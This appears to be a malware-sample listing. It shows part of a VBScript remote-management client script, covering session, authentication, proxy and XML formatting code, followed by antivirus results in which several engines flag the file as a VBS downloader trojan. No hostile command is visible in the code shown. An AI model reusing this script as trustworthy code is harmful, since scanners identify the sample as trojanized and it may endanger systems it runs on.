putStr = sessionObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
'''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&amp;"
case "<"
Escape = Escape & "&lt;"
case ">"
Escape = Escape & "&gt;"
case """"
Escape = Escape & "&quot;"
case "'"
Escape = Escape & "&apos;"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function IsCScriptEnv()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
IsCScriptEnv = True
else
IsCScriptEnv = False
end if
end function
private function CreateSession(wsman, conStr, optDic, formatOption)
dim sessionFlags
dim conOpt
dim session
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
sessionFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, formatOption
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set session = wsman.CreateSession(conStr, sessionFlags, conOpt)
ASSERTERR wsman, formatOption
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
session.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = session
end function
private sub ASSERTERR(obj, formatOption)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,formatOption) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine GetResource("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_ARGNOVAL_Message") & namedArg
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine GetResource("L_ERR_Message") & msg
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub
private function ReFormat(rawStr,formattedStr,formatOption)
dim xslFile
dim xmlFile
dim xmlFileName
dim xslFileName
dim FORMAT_XSL_PATH
if Len(rawStr) = 0 then
ReFormat = false
exit function
end if
on error resume next
err.clear
if LCase(formatOption) = VAL_FORMAT_XML then
formattedStr = rawStr
else
set xmlFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
set xslFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
xmlFile.async = false
xslFile.async = false
xmlFile.LoadXML(rawStr)
if (xmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine GetResource("L_XMLERROR_Message") & xmlFile.parseError.reason
on error goto 0
ReFormat = false
exit function
end If
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\system32\")
if InStr(LCase(WScript.Path),"\syswow64") > 0 then
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\syswow64\")
end if
if LCase(formatOption) = VAL_FORMAT_TEXT then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_TEXT_XSLT
elseif LCase(formatOption) = VAL_FORMAT_PRETTY then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_PRETTY_XSLT
else
stdErr.WriteLine GetResource("L_FORMATLERROR_Message") & formatOption
stdErr.WriteLine
on error goto 0
ReFormat = false
exit function
end If
if Not xslFile.load(FORMAT_XSL_PATH) then
stdErr.WriteLine GetResource("L_XSLERROR_Message") & FORMAT_XSL_PATH
if xslFile.parseError.errorCode < 0 then
stdErr.WriteLine xslFile.parseError.reason
end if
on error goto 0
ReFormat = false
exit function
end if
formattedStr = xmlFile.transformNode (xslFile)
if Err.number <> 0 then
stdErr.WriteLine Err.Description
on error goto 0
ReFormat = false
exit function
end if
end if
ReFormat = true
end function
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb VBS.DownLoader.2418
ClamAV Clean
CMC Clean
CAT-QuickHeal VBS.Trojan.45344
McAfee Clean
Malwarebytes Clean
VIPRE VB:Trojan.Valyria.8281
Sangfor Malware.Generic-VBS.Save.d9d6afc4
K7AntiVirus Clean
K7GW Clean
Arcabit VB:Trojan.Valyria.D2059
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec ISB.Downloader!gen285
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast JS:Boxter-A [Drp]
Cynet Clean
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender VB:Trojan.Valyria.8281
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.8281
Tencent Clean
Sophos Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Clean
FireEye VB:Trojan.Valyria.8281
Emsisoft VB:Trojan.Valyria.8281 (B)
Ikarus Trojan.VBS.Agent
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm Clean
GData VB:Trojan.Valyria.8281
Google Detected
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac VB:Trojan.Valyria.8281
MAX malware (ai score=84)
Zoner Clean
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG JS:Boxter-A [Drp]
Panda Clean
No IRMA results available.